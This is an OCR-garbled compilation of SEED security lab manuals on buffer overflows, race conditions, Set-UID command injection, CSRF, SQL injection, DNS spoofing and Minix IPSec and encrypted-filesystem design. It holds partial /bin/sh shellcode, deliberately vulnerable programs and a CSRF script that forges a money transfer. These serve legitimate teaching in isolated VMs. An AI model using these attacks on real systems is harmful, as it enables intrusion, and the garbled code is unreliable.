202. protection buffer overflow will not work You can disable this pro tection when you are comiling the program using the switch fno stack protector For example to compile a program example c with Stack Guard disabled you may use the following command gcc fno stack protector example c 2 2 Shellcode Before you start the attack you need a shellcode A shellcode is the code to launch a shell It has to be loaded into the memory so that we can force the vulnerable program to jump to it Consider the following program include lt stdio h gt int main char name 2 name 0 bin sh name 1 NULL execve name 0 name NULL The shellcode that we use is just the assembly version of the above program The following program shows you how to launch a shell by executing a shellcode stored in a buffer Please compile and run the following code and see whether a shell is invoked Laboratory for Computer Security Education 3 x call_shellcode c A program that creates a file containing code for launching shellx include lt stdlib h gt include lt stdio h gt const char code x31 xc0O x Line 1 xorl Seax eax ERRO x Line 2 pushl eax kf x68 sh x Line 3 pushl S0x68732f2f x x68 bin x Line 4 pushl S0x6e69622f x x89 xe3 x Line 5 movl esp sebx x W x50 x Line 6 pushl eax x WNKOS x Line 7 pushl Sebx x x89 xel x Line 8 movl SeES
203. r str return 1 int main int argc char xargv char str 517 FILE xbadfile badfile fopen badfile r fread str sizeof char 517 badfile bof str printf Returned Properly n return 1 Compile the above vulnerable program and make it set root uid You can achieve this by compiling it in the root account and chmod the executable to 4755 su root Password enter root password gcc o stack fno stack protector stack c chmod 4755 stack exit HE The above program has a buffer overflow vulnerability It first reads an input from a file called badfile and then passes this input to another buffer in the function bof The original input can have a maximum length of 517 bytes but the buffer in bof has only 12 bytes long Because strcpy does not check boundaries buffer overflow will occur Since this program is a set root uid program if a normal user can exploit this buffer overflow vulnerability the normal user might be able to get a root shell It should be noted that the program gets its input from a file called badfile This file is under users control Now our objective is to create the contents for badfile such that when the vulnerable program copies the contents into its buffer a root shell can be spawned 2 4 Task 1 Exploiting the Vulnerability We provide you with a partially completed exploit code called exploit c The goal of this code
204. r an IPSec tunnel the key used for the tunnel is modified but not at the same time for the both ends Namely there is a short period of time when the two ends of the IPSec tunnel do not have the same key What will happen to the existing TCP connection Will it be broken If you implement the IPSec correctly it should not You need to demonstrate this 5 Key Management You need to think about the following key management issues regarding the keys used by IPSec what data structure do you use to store keys where do you store keys how to secure keys how to update keys Regarding key updates system administrators should be able to add delete modify print the keys dynamically i e there is no need for system rebooting 4 Suggestions Based on our past experience with this lab we have compiled a list of suggestions in the following It should be noted that this list only serves for suggestion purposes if your designs or experience are different feel free to ignore them but we appreciate it if you can sent us your suggestions 1 Modularization Modularize your implementation into three major parts 1 Process outgoing pack ets in ip_write c 2 Process incoming packets in ip read c 3 SA and key management The third module are loosely connected with the other two modules and can be independently im plemented However many students feel that the third module is the easiest to implement among the three modules because unlike the pre
205. re Your VM securely 6 1 Change the password For the sake of security and your own convenience we suggest that you change the account password To change the Ubuntu s account password You need to login as root and issue the passwd username command To change MySQL s root password You can do it as following mysql u root pseedubuntu Once in the prompt do this mysql gt update user set User NewRootName Password NewPassword where user root mysql gt flush privileges 150 SEED Document 5 6 2 Configure automatically start service It s more convenient to start some commonly used service automatically during the system boot up although most people do not want to start some server that they do not use Currently most of the service we need for SEED labs are configured not to start automatically You can use chkconfig to get the current configuration You can also use chkconfig to modify the configura tion For example to start the MySQL server automatically during the system bootup run cChkconfig mysqld on 7 Note 7 1 Don t install VMware Tool on the Ubuntu Though it is highly recommended to install VMware Tool in a virtual machine VMware Tool of VMware 6 5 0 can cause a mouse focus problem We suggest you not to install VMware Tool on the the pre built Ubuntu VM If you are using other versions of VMware and do want to give it a try please make a snapshot of your VM image
206. rity Education 3 Since the program is running as a root it can display any file Bob specifies However since the pro gram has no write operations Vince is very sure that Bob cannot use this special program to modify any file include lt string h gt include lt stdio h gt include lt stdlib h gt int main int argc char xargv char v 3 if argce lt 2 printf Please type a file name n return 1 v 0 bin cat v 1 argv 1 v 2 0 x Set q 0 for Question a and q 1 for Question b x int q 0 LE ta 0N char xcommand malloc strlen v 0 strlen v 1 2 sprintf command s s v 0 v 1 system command else execve v 0 v 0 return 03 a Set q 0 in the program This way the program will use system to invoke the command Is this program safe If you were Bob can you compromise the integrity of the system For example can you remove any file that is not writable to you Hint remember that system actually invokes bin sh and then runs the command within the shell environment We have tried the environment variable in the previous task here let us try a different attack Please pay attention to the special characters used in a normal shell environment b Set g 1 in the program This way the program will use execve to invoke the command Do your attacks in task a still work Please describe and explain your observations 6 15
207. rm gt element var p document createElement form construct the form p action url p innerHTML fields p target _self p method post append the form to this web document body appendChild p submit the form p submit function csrf_hack var fields You should replace the following 3 lines with your form parameters fields lt input type hidden name username value Alice gt fields lt input type hidden name transfer value 10000 gt fields lt input type hidden name to value Bot gt Note don t add an element named submit here otherwise p submit will not be invoked Submit will work post http www example com fields window onload function csrf_hack lt script gt lt body gt lt htm1 gt Figure 1 Sample JavaScript program 49 Laboratory for Computer Security Education 6 Sid b349b78lecbhb2268c4caf77 530c55ac This sid value is exactly the same as phpbb2mysql_sid in the cookie The script in posting php will check whether this sid value is the same as that in the cookie If not the request will fail In this task you need to use the original phpBB forum accessible at http www originalphpbb com try the attacks again and describe your observations Can you bypass the countermeasures If not please descri
208. rogram with an intention to change the behaviors of the program In this lab students will be given a program with a race condition vulnerability their task is to develop a scheme to exploit the vulnerability and gain the root privilege In addition to the attacks students will be guided to walk through several protection schemes that can be used to counter the race condition attacks Students need to evaluate whether the schemes work or not and explain why 2 Lab Tasks 2 1 A Vulnerable Program The following program is a seemingly harmless program It contains a race condition vulnerability vulp c include lt stdio h gt include lt unistd h gt define DELAY 10000 int main char fn tmp XYZ char buffer 60 FILE f p long int i get user input scanf 50s buffer if access fn W_OK simulating delay 31 Laboratory for Computer Security Education 2 for i 0 i lt DELAY i int a i 2 fp fopen fn at fwrite n sizeof char 1 fp fwrite buffer sizeof char strlen buffer fp fclose fp else printf No permission n This is part of a Set UID program owned by root it appends a string of user input to the end of a temporary file tmp XyYZ Since the code runs with the root privilege it carefully checks whether the real user actually has the access permission to the file tmp XYZ that is the purpose of th
209. rowser are running on two different machines you need to modify etc hosts on the browser s machine accordingly to map these URLs to the web server s IP address Configuring Apache Server In the pre built VM image we use Apache server to host all the web sites used in the lab The name based virtual hosting feature in Apache could be used to host several web sites or URLs on the same machine A configuration file named default in the directory etc apache2 sites available contains the necessary directives for the configuration 1 The directive NameVirtualHost gt instructs the web server to use all IP addresses in the ma chine some machines may have multiple IP addresses 2 Each web site has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site For example to configure a web site with URL http www examplel com with sources in directory var www Example_1 and to configure a web site with URL http www example2 com with sources in directory var www Example_2 we use the following blocks lt VirtualHost gt ServerName http www examplel com DocumentRoot var www Example_1 lt VirtualHost gt lt VirtualHost x gt ServerName http www example2 com DocumentRoot var www Example_2 lt VirtualHost gt You may modify the web application by accessing the source in the mentioned director
210. s For example you should never choose DES because of its proven weakness in key length Choice of modes You should understand the strength of each encryption mode and avoid using the modes that are weak in security such as the Electronic Codebook ECB mode Randomizing initialization vector IV It has been shown that for some encryption algorithm such as DES repeating using the same IV is not safe Therefore it is a good practice to always use a randomly generated IV at each time DO NOT hard code the IV value in the program 112 Laboratory for Computer Security Education 7 Pseudo random number generators make sure that your pseudo random number generators are good i e the number that it generates are random and unpredictable Key management One of the challenges in cryptography is key management i e how where to store keys how to update keys how to protect keys etc In your project report you need to describe how you handle the key management problem In particular you should describe your key management for the following scenario you are not required to implement this scenario but you must describe your design as we said earlier in this IPSec project we allow administrators to manually type in the keys at both ends of an IPSec tunnel If a computer e g a gateway needs to establish many IPSec tunnels with other machines administrators might want the machine to automatically load the keys from
211. s Your choices should be justified and the justifi cation should be included in your lab report 3 1 Assigning Capability to Programs Before a program becomes a privileged program certain capabilities need to be assigned to this program You need to consider the following issues related to capability assignment 90 Laboratory for Computer Security Education 3 e Where should the capabilities of a program be stored There are several ways to store capabilities You need to justify your design decision You can justify it from various aspects such as security usability ease of use etc To help you we list two possible methods in the following Save capabilities in a configuration file Save capabilities in the I nodes of the program file e How can users set capabilities of a file e Who can assign capabilities to programs 3 2 Capability in Process When a program is executed a process will be created to perform the execution The process should carry the capability information You need to consider the following issues related to processes e Where do you store capabilities They can be stored in kernel space e g capability list in user space e g crytographic token or in both spaces like the implementation of file descriptor where the actual capabilities are stored in the kernel and the indices to the capabilities are copied to the user space Which design do you use You should justify your decisions
212. s document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview The learning objective of this lab is for students to integrate a number of essential security principles in the implementation of IPSec IPSec is a set of protocols developed by the IETF to support secure exchange of packets at the IP layer IPSec has been deployed widely to implement Virtual Private Networks VPNs The design and implementation of IPSec exemplify a number of security principles including encryption one way hashing integrity authentication key management and key exchange Furthermore IPSec demon strates how cryptography algorithms are integrated into the TCP IP protocols in a transparent way such that the existing programs and systems do not need to be aware of the addition of IPSec In this lab students will implement a simplified version of IPSec for Minix 2 Lab Tasks The entire IPSec protocol is too complicated for a lab that is targeted at four to six weeks To make it feasible we only implement a part of the IPSec protocol in addition we have made a number of assumptions to simplify the implementation 1 ESP Tunneling Mode IPSec has two different types of headers Authentication Header AH and Encapsulating Security Payload ESP moreover there are two modes of applying I
213. s for students to gain the first hand experience on format string vulnerabil ity by putting what they have learned about the vulnerability from class into actions The format string vul nerability is caused by code like printf user_input where the contents of variable of user_input is provided by users When this program is running with privileges e g Set UID program this printf statement becomes dangerous because it can lead to one of the following consequences 1 crash the program 2 read from an arbitrary memory place and 3 modify the values of in an arbitrary memory place The last consequence is very dangerous because it can allow users to modify internal variables of a privileged program and thus change the behavior of the program In this lab students will be given a program with a format string vulnerability their task is to develop a scheme to exploit the vulnerability In addition to the attacks students will be guided to walk through a protection scheme that can be used to defeat this type of attacks Students need to evaluate whether the scheme work or not and explain why It should be noted that the outcome of this lab is operating system dependent Our description and discussion are based on Ubuntu Linux It should also work in the most recent version of Ubuntu However if you use different operating systems different problems and issues might come up 2 Lab Tasks 2 1 Task 1 Exploit the vulnerability In the foll
214. s not so different from the version 2 0 4 in the networking part Our past students found the documentation very useful Please focus on two files ip read c and ip write c All outgoing IP packets are processed in ip write c and all incoming IP packets sent to up layers TCP UDP are processed in ip read c 121 Laboratory for Computer Security Education 4 4 How Minix Networking Works II We have developed a document to further help you understand how the Minix networking works The document can be found at the lab web site It guides you through several source code to show you a big picture on how a packet is forwarded from appli cation to ICMP TCP UDP to IP and then to Ethernet It also describes how add_route c and pr_routes c works These last two files in usr src commands simple can serve as a good example on how to store and maintain routing information in the kernel If your need to do the similar thing i e storing information in the kernel you can use the system calls in inet such as ioctl in ip_ioctl c which need to be changed to add more functionalities The files pr_routes c and add_routes c give you a good example on how to use the system calls 5 Testing Testing is an important step of this lab to make sure that your firewall performs according to expectations There are two main aspects to testing a Testing whether policies give desired results For each of the policies that you have implemented mak
215. s that this lab is appropriate for both undergraduate students and graduate students G indicates that the lab is appropriate for Graduate students only and not appropriate for average undergraduate students As for the types of labs we divide the SEED labs into three categories based on the intentions of these labs Each type of labs requires different skills and may need different amount of time to finish e Vulnerability and Attack Labs The goal of these labs is to achieve learning from mistakes Vulner abilities are often caused by mistakes in design implementation and configuration These labs give students the opportunity to have hands on experience with real vulnerabilities In these labs students need to identify vulnerabilities develop attacks to exploit vulnerabilities fix the vulnerabilities and defend against the attacks e Design and Implementation Labs The goal of these labs is to achieve learning by system develop ment They allow student to apply security principles concepts and ideas to build a secure systems in a lab environment Exploration Labs The goal of these labs is to achieve learning by exploring They permit students to explore an existing system to understand the intended security principles concepts and ideas Exploration labs are like a guided tour of a system in which students can touch and interact with the key components of a security system to learn the principles of security
216. sed as the observer Students can set up 3 virtual machines on the same host computer or they can set up 2 virtual machines and then use the host computer as the third computer For this lab we put all these three machines on the same LAN the configuration is described in the following Machine 1 Machine 2 Machine 3 192 168 0 122 192 1680 4123 192 168 0 124 LAN or Virtual Network Gateway 192 168 0 1 Internet Operating System This lab can be carried out using a variety of operating systems Our pre built virtual machine is based on Ubuntu Linux and all the tools needed for this lab are already installed If you prefer to use other Unix operating systems such as Fedora you should feel free to use them however some of the commands used in this lab description might not work or exist in other operating systems Netwox Tools We need tools to send out network packets of different types and with different contents We can use Net wag to do that However the GUI interface of Net wag makes it difficult for us to auto 63 Laboratory for Computer Security Education 2 mate our process Therefore we strongly suggest that students use its command line version the Net wox command which is the underlying command invoked by Net wag Netwox consists of a suite of tools each having a specific number You can run the command like the following the parameters depend on which tool you are using For some of the to
217. setpcap struct task_struct xtarget x No support for remote process capability manipulation with x filesystem capability support return target current 2 3 File Capability To reduce the risk caused by Set UID programs we can assign a minimal set of capabilities to a privileged program instead of giving the program the root privilege Binding a set of capabilities to programs has been implemented since kernel 2 6 24 It is called file capability The basic idea is to assign certain attribute to the inode Going through the process of exec can give us a picture of how file capability works The capability unrelated parts are omitted here in fs exec c int do_execve prepare_binprm bprm search_binary_handler bprm regs Basically prepare _binprm is to get capability from the inode The function search binary_handler calls specific loading function of certain type of binary file which finally calls cap_bprm_apply_creds in the capability module Its job is to apply the capability to the current process 136 SEED Document 3 int prepare_binprm struct linux_binprm xbprm security_bprm_set bprm in security security c int security_bprm_set struct linux_binprm xbprm return security_ops gt bprm_set_security bprm The security_ops points to secondary LSM In 2 6 25 by default it is capability module which is stacked on SELi
218. sis using experiments and report your observations You can craft a web page in www soplabattacker com to make requests to www soplab com 144 Laboratory for Computer Security Education 7 5 Submission You need to submit a detailed lab report to describe what you have done and what you have observed Please provide details using LiveHTTPHeaders Wireshark and or screenshots You also need to provide explanation to the observations that are interesting or surprising 145 146 SEED Document 1 User Manual of the Pre built Ubuntu 9 Virutal Machine Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html 1 Overview Using VMware we have created a pre built virtual machine VM image for Ubuntu Linux version 9 This VM can be used for all our SEED labs that are based on Linux In this document we describe the configuration of this VM and give an overview of all the software tools that we have installed Updating the VM is quite time consuming because not only d
219. sparent to applications Any application that work in a tradi tional file system should still work properly in EFS When users read a file encrypted using a normal editor software EFS will automatically decrypt the file contents before giving them to the software similarly EFS will automatically encrypt the file contents when users write to a file All these happen on the fly neither users nor the editor software should be aware of the encryption decryption process For example if users use cat to look at the contents of a file cat will display the decrypted contents the decryption is trans parently conducted by the EFS If users use vi to edit a file every time they issue a save command the contents of the file should be encrypted and then saved to the disk the encryption is also transparently conducted by the EFS There is no need to modify application programs In this lab your task is to design and implement an EFS for Minix This lab is a comprehensive lab it integrates a number of security principles including encryption key management authentication and access control 2 2 Key Management a Key storage dilemma In an EFS we can choose to use one single key to encrypt all the files in the encrypted file system or we can choose to encrypt each file using a different key In this lab we choose the 93 Laboratory for Computer Security Education 2 latter approach we call this approach the per file key
220. strate the use of SAs On Host 192 168 10 100 Direction Dest IP Protocol Mode SPI OUTBOUND 92 168 10 200 ESP Tunnel 5598 INBOUND 92 168 10 100 ESP Tunnel 6380 On Host 192 168 10 200 Direction Dest IP Protocol Model SPI OUTBOUND 92 168 10 100 ESP Tunnel 6380 INBOUND 92 168 10 200 ESP Tunnel 5598 The first SA on host 192 168 10 100 indicates that for any outbound packet to 192 168 10 200 we would use the ESP tunnel mode to process the packet The SPI value we put in the ESP header is 5598 It should be noted that the SPI value will be attached to ESP packet and it allows the receiving side lookup the security parameters e g keys using this index The number needs to be unique for a node The second SA on 192 168 10 100 indicates that for any inbound IPSec packet if the target is 192 168 10 100 and the SPI in the packet is 6380 then use this entry to process the packet To make this setting works on 192 168 10 100 the SAs on the other end of the tunnel 192 168 10 200 should be set up accordingly It should be noted that a SA is set for each direction That is why we have two SAs on each host to setup a bi directional tunnel between 192 168 10 100 and 192 168 10 200 An important part of SAs is Security Parameter Index SPI SPI is an 32 bit identifier that helps the recipient select which security parameters to use on the received packet SPI can be thought of as an index
221. t html gt Whenever the victim user visits the crafted web page in the malicious site the web browser automatically issues a HTTP GET request for the URL contained in the img tag Because the web browser automatically attaches the session cookie to the request the trusted site cannot distinguish the malicious request from the genuine request and ends up processing the request compromising the victim user s session integrity 47 Laboratory for Computer Security Education 4 For this task you will observe the structure of a different request for posting a new message in the vulner able phpBB application and then try to forge it from the malicious site You can use the LiveHTTPHeaders extensions to observe the contents of the HTTP requests You will see something similar to the following http www csrflabphpbb com posting php subject hello amp addbbcodel 8 23444444 amp addbbcode20 0 amp helpbox Quotettext 3A 5 Bquote S5Dtext S5Bs2Fquote 5D 28alt 2Bq 29 amp message Thistist my tmessage topictype 0 poll_title amp add_poll_option_text amp poll_length amp mode newt opic amp f 1 post Submit Observe the request structure for posting a new message to the forum and then use this to forge a new request to the application When the victim user visits the malicious web page a malicious request for posting a message should be injected into the victim s active session with phpBB 4 2 Task 2 Attack
222. t forged by the attacker web site The malicious site can forge both HTTP GET and POST requests for the trusted site Some HTML tags such as img iframe frame and form have no restrictions on the URL that can be used in their attribute HTML img iframe and frame can be used for forging GET requests The HTML form tag can be used for forging POST requests The tasks in this lab involve forging both GET and POST requests for a target application 4 Lab Tasks For the lab task you will use two web sites that are locally setup in the virtual machine The first web site is the vulnerable phpBB accessible at www csrflabphpbb com inside the virtual machine The second web site is an attacker web site that the student would setup to attack the trusted site The attacker web site is accessible via www csrflabattacker com inside the virtual machine 4 1 Task 1 Attack using HTTP GET request In the vulnerable phpBB a new topic can be posted using a GET request targeted for the following URL http www csrflabphpbb com posting php mode newtopic f 1 The URL has two parameters mode newtopic and f 1 These parameters tell the server side script posting php that the request is intended to post a new message to forum 1 To forge a request to post a new topic to the forum the malicious site can use the URL in a HTML img tag inside a web page lt html gt lt img src http www csrflabphpbb com posting php mode newtopic amp f 1 gt l
223. te has a VirtualHost block that specifies the URL for the web site and directory in the file system that contains the sources for the web site For example to configure a web site with URL http www examplel com with sources in directory var www Example_1 and to configure a web site with URL http www example2 com with sources in directory var www Example_2 we use the following blocks lt VirtualHost gt ServerName http www examplel com DocumentRoot var www Example_1 lt VirtualHost gt lt VirtualHost gt ServerName http www example2 com DocumentRoot var www Example_2 lt VirtualHost gt You may modify the web application by accessing the source in the mentioned directories For example with the above configuration the web application http www examplel com can be changed by modifying the sources in the directory var www Example_l1 Other software Some of the lab tasks require some basic familiarity with JavaScript Wherever neces sary we provide a sample JavaScript program to help the students get started To complete task 3 students may need a utility to watch incoming requests on a particular TCP port We provide a C program that can be configured to listen on a particular port and display incoming messages The C program can be downloaded from the web site for this lab 52 Laboratory for Computer Security Education 3 Note for Instructors This lab may be conducted in a
224. that whoever runs this program will run this program with the associated roles instead of with his her own roles We call this mechanism the Set Role mechanism A challenging issue of this method is to find a place to store the role information A good choice is the I nodes 2 5 Implementation Strategies You can start your design and implementation by assuming that all capabilities are dummy Namely you do not need to concern about how those capabilities will be checked by the system This can make your life easier You basically assume that the capability will be eventually be used by access control This way you can focus on how to enable RBAC and capability in Minix such that when access control needs to use those capabilities they can find the capabilities in an efficient way You should be able to test you implemenation independently regardless of whether the capabilities are dummy or not Of course you need to implement some utilities which allow you to print out the role and capability information of a session and process After your RBAC part is implemented and fully tested you can focus on the capability part More specifically you need to modify Minix s access control so those non dummy capabilities can actually affect access control 3 Design and Implementation Issues In this lab you need to make a number of design choices Your choices should be justified and the justifi cation should be included in your lab report
225. the countermeasures implemented by phpBB As the results we created a version of phpBB that is vulnerable to the SQL Injection attack Although our modifications are artificial they capture the common mistakes made by many web developers Students goal in this lab is to find ways to exploit the SQL Injection vulnerability and demonstrate the damage that can be achieved by the attacks 2 Lab Environment Before you start your lab you should check whether the service required by this lab is already started Use command service mysql start to start the MySQL database s service and use command Service apache2 start to start the HTTP server We use the web forum phpBB for this lab It should be noted that the original phpBB software has countermeasures to mitigate the SQL injection attacks We modified the original source code and have turned off those countermeasures for the purpose of this lab The phpBB forum needs to connect to a database server it supports only MySQL Our pre built virtual machines has set up a phpBB web application using the following URL e www sqllabmysqlphpbb com phpBB configured with MySQL as the backend database which located at var www SQL SQLLabMysqlPhpbb 3 Lab Tasks 3 1 Task SQL injection to MYSQL server For this task you will use the web application accessible via the URL www sqllabmysqlphpbb com which is phpBB configured with MySQL database inside your virtu
226. ting the program due to untimely killing of the attack program tmp XYZ may get into an unstable state When this happens the OS automatically makes it a normal file with root as its owner If this happens the file has to be deleted and the attack has to be restarted 3 6 Warning In the past some students accidentally emptied the etc shadow file during the attacks we still do not know what has caused that If you lose the shadow file you will not be able to login again To avoid this trouble please make a copy of the original shadow file 34 Laboratory for Computer Security Education 1 Set UID Program Vulnerability Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free Documentation License Version 1 2 or any later version published by the Free Software Foundation A copy of the license can be found at http www gnu org licenses fdl html Lab Description Set UID is an important security mechanism in Unix operating systems When a Set UID program is run it assumes the owner s privileges For example if the program s owner is root then when anyone runs this program the program gains the root s privileges during its exe
227. tion Fedora linux implements a protection mechanism called ExecShield by default but Ubuntu systems do not have this protection by default ExecShield essentially disallows executing any code that is stored in the stack As a result buffer overflow attacks that have the exploit code in the stack will not work To disable ExecShield in Fedora you may use the following command We have tested this lab in Ubuntu Ver 9 04 It should also work for the most recent Ubuntu versions Laboratory for Computer Security Education 2 S su root Password enter root password sysctl w kernel exec shield 0 Because return to libc attacks should work in presence of this protection you need not disable this feature if you are using a Fedora machine Moreover to further protect against buffer overflow attacks and other attacks that use shell programs many shell programs automatically drop their privileges when invoked Therefore even if you can fool a privileged Set UID program to invoke a shell you might not be able to retain the privileges within the shell This protection scheme is implemented in bin bash In Ubuntu bin sh is actually a symbolic link to bin bash To see the life before such protection scheme was implemented we use another shell program the zsh instead of bin bash The preconfigured Ubuntu virtual machines contains a zsh installation If you are using other linux systems that do not contain zsh by default you hav
228. to manage the relationship between ca pabilities and users The management problem is aggravated in a dynamic system where users required privileges can change quite frequently For example a user can have a manager s privileges in her manager position however from time to time she has to conduct non manager tasks which do not need the man ager s privileges She must drop her manager s privileges to conduct those tasks but it might be difficult for her to know which privileges to drop Role Base Access Control solves this problem nicely RBAC Role Based Access Control as introduced in 1992 by Ferraiolo and Kuhn has become the predominant model for advanced access control because it reduces the complexity and cost of security administration in large applications Most information technology vendors have incorporated RBAC into their product line and the technology is finding applications in areas ranging from health care to defense in addition to the mainstream commerce systems for which it was designed RBAC has also been implemented in Fedora Linux and Trusted Solaris With RBAC we never assign capabilities directly to users instead we use RBAC to manage what capabilities a user get RBAC introduces the role concept capabilities are assigned to roles and roles are assigned to users In this lab students need to implement RBAC for Minix The specific RBAC model is based on the NIST RBAC standard 1 A Core RBAC Core RBAC in
229. together and plot them in pie charts The charts are posted in the project web page http www cis syr edu wedu seed all_labs html encouraging We include the charts for a few labs in the following The overall feedbacks are very Q1 Level of familiarity with Unix A No Experience B Know some commands C Application level development experience D Kernel level development experience E None 42 9 A 29 9 Q5 Level of interest in the lab A Very low B Low C Average D High E Very high 27 3 36 4 BD 29 9 Q10 As a result of the lab I am more interested in computer security A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 44 7 15 8 1 3 38 2 Survey Results Buffer Overflow Vulnerability Lab Q2 My preparation was sufficient A Strongly disagree B Disagree C Neutral D Agree E Strongly agree Q3 The lab instructions were clear A Strongly disagree B Disagree C Neutral D Agree E Strongly agree 22 1 2 53 2 oe aa Le 2 6 49 4 y D 22 1 29 9 Q6 Approximate hours spent on this lab A 0 5 hours B 6 10 hours C 11 20 hours D 21 30 hours E gt 30 hours 23 7 A Strongly disagree B Disagree C Neutral D Agree E Strongly agree D 31 2 5 2 3 9 30 3 Q11 Overall I have attained the learning objectives of the lab A Strongly disagree B Disagree C Neutral D Agree E Strongly agree Q7 The time I spent on the lab was worthwhile Q4 L
230. tual machine 3 Some background on JavaScript Document Object Model DOM HTML basics and XMLHttpRequest 3 Background Web browsers are essentially user agents that interact with web sites web applications on behalf of their users Typically users visit a web site using the web browser web browsers forward HTTP requests to the web site on behalf of their users and in turn display the web page returned by the web site in the response Web browsers use a security model called the same origin policy SOP for enforcing some access restrictions on web applications The SOP identifies each web site using its origin which is a unique combination of protocol domain port and creates a context for each origin For each origin the web browser creates a context and stores the resources of the web application from the origin in the context JavaScript programs from one origin are not allowed to access resources from another origin Cookies and Document Object Model DOM objects are examples of web application resources for which SOP is applied Furthermore JavaScript programs may use the XMLHttpRequest API to send HTTP requests to web applications The SOP is also extended to the use of XMLHttpRequest API First we will provide some background on cookies DOM objects and XMLHttpRequest API Then we describe the lab tasks that will lead the students to investigate SOP and how it affects the use of cookies DOM objects and XMLHttpRequest API
231. turn Address IE Int main E S 3 Previous Frame Pointer FP Current FP char str I am greater than 12 bytes 3 buffer 0 buffer 11 func str variable_a Low Address a A code example b Active Stack Frame in func Finding the address of the memory that stores the return address From the figure we know if we can find out the address of buf fer array we can calculate where the return address is stored Since the vulnerable program is a Set UID program you can make a copy of this program and run it with your own privilege this way you can debug the program note that you cannot debug a Set UID program In the debugger you can figure out the address of buffer and thus calculate the starting point of the malicious code You can even modify the copied program and ask the program to directly print out the address of buffer The address of buf fer may be slightly different when you run the Set UID copy instead of of your copy but you should be quite close If the target program is running remotely and you may not be able to rely on the debugger to find out the address However you can always guess The following facts make guessing a quite feasible approach e Stack usually starts at the same address e Stack is usually not very deep most programs do not push more than a few hundred or a few thousand bytes into the stack at any one time Laboratory for Computer Security Ed
232. ucation 8 e Therefore the range of addresses that we need to guess is actually quite small Finding the starting point of the malicious code If you can accurately calculate the address of buffer you should be able to accurately calcuate the starting point of the malicious code Even if you cannot accu rately calculate the address for example for remote programs you can still guess To improve the chance of success we can add a number of NOPs to the beginning of the malcious code therefore if we can jump to any of these NOPs we can eventually get to the malicious code The following figure depicts the attack 5 NOP F H NOP 5 i many NOP s 2 NOP 5 str a str x O S E Previous FP Previous FP v buffer 0 buffer 11 buffer 0 buffer 11 a Jump to the malicious code b Improve the chance Storing an long integer in a buffer In your exploit program you might need to store an long integer 4 bytes into an buffer starting at buffer i Since each buffer space is one byte long the integer will actually occupy four bytes starting at buffer i i e buffer i to buffer i 3 Because buffer and long are of different types you cannot directly assign the integer to buffer instead you can cast the buffer i into an long pointer and then assign the integer The following code shows how to assign an long integer to a buffer starting at buf
233. ument createElement p p_node innerHTML This web page illustrates how DOM API can be used to modify a web page document childNodes 0 childNodes 1 appendChild p_node function gethtmlchildren var entiredoc document childNodes 0 var docnodes entiredoc childNodes for i 0 i lt docnodes length i alert docnodes i nodeName lt script gt lt head gt lt body name bodybody gt lt script gt appendp lt script gt lt input type button value Display children of HTML tag onclick gethtmlchildren gt lt body gt lt html gt Figure 1 A web page with a JavaScript program that updates the web page dynamically e expires attribute indicates the cookie s expiration date in the future e max age attribute specifies the lifetime of the cookie in seconds e path attribute indicates the top directory under which the cookie is shared and accessible e domain attribute indicates the top domain level under which cookie can be accessed cross domain e secure is a boolean attribute which enforces that the cookie is transmitted only using HTTPS or another secure protocol Web applications can create a cookie in the web browser using the set cookie header in the HTTP response After cookies are created web browsers attach the cookies in all the subsequent requests to the web application Also JavaScript programs can access modify and create cookies In a JavaScr
234. ust match the IP address of the user s machine The source port number UDP port must match the port number that the DNS request was sent to usually port 53 The destination port number must match the port number that the DNS request was sent from The UDP checksum must be correctly calculated The transaction ID must match the transaction ID in the DNS request The domain name in the question section of the reply must match the domain name in the question section of the request The domain name in the answer section must match the domain name in the question section of the DNS request The User s computer must receive the attacker s DNS reply before it receives the legitimate DNS response To satisfy the criteria 1 to 8 the attackers can sniff the DNS request message sent by the victim they can then create a fake DNS response and send back to the victim before the real DNS server does Net wox tool 105 provide a utility to conduct such sniffing and responding Tip in Netwox Netwag 105 you can use filter field to indicate which IP you want to attack For example in the scenario showing below you can use src host 192 168 0 100 spoofed DNS response 2 DNS query 1 User gt DNS Server Attacker lt DNS response 3 192 168 0 100 192 168 0 10 192 168 0 200 We eee S LAN or Virtual Network Internet 74 Laboratory for Computer Security Education 7 3 3 DNS Server
235. utes no more additional time would be given So prepare your demonstration so you can cover the important features e You are entirely responsible for showing the demo We will NOT even touch the keyboard during the demonstration so you should not depend on us to test your system If you fail to demo some important features of your system we will assume that your system does not have those features e You need to practice before you come to the demonstration If the system crashes or anything goes wrong it is your own fault We will not debug your problems nor give you extra time for it e During the demo you should consider yourself as salesmen and you want to sell your system to us You are given 15 minutes to show us how good your system is So think about your sales strategies If you have implemented a great system but fail to show us how good it is you are not likely to get a good grade e Do turn off the messages your system prints out for debugging purposes Those messages should not appear in a demonstration 92 Laboratory for Computer Security Education 1 Encrypted File System Lab Copyright 2006 2009 Wenliang Du Syracuse University The development of this document is funded by the National Science Foundation s Course Curriculum and Laboratory Improvement CCLI program under Award No 0618680 and 0231122 Permission is granted to copy distribute and or modify this document under the terms of the GNU Free
236. vious two modules it does not require understanding and modification of the IP stack 2 Code Reading You need to read a lot of Minix code in this lab It is quite inconvenient to read code in the Minix environment because of the lack of tool support in Minix We suggest that you copy the entire source code to your host machine Windows or Linux and use code reading tools that are available on those platforms All the source code of Minix can be found under the usr directory We also put a copy of the entire source code on the web page of this lab Browsing source code of Minix is not easy because source code is in a number of directories Sometimes it is quite difficult to find where a function or data structure is defined Without right tools you can always use the generic search tools such as find and grep However many of our past students have suggested a very useful tool called Source Insight which makes it much easier to navigate source code of a complicated system It provides an easy way to trace func tion and data structure definitions as well as other useful features This software can be found at http www sourceinsight com it is not free but it does have a 30 day free trial period which should be enough for this lab Another choice for browsing source code is to use the online Minix source code at http chiota tamacom com tour kernel minix 111 Laboratory for Computer Security Education 6 3 How Minix Networking W
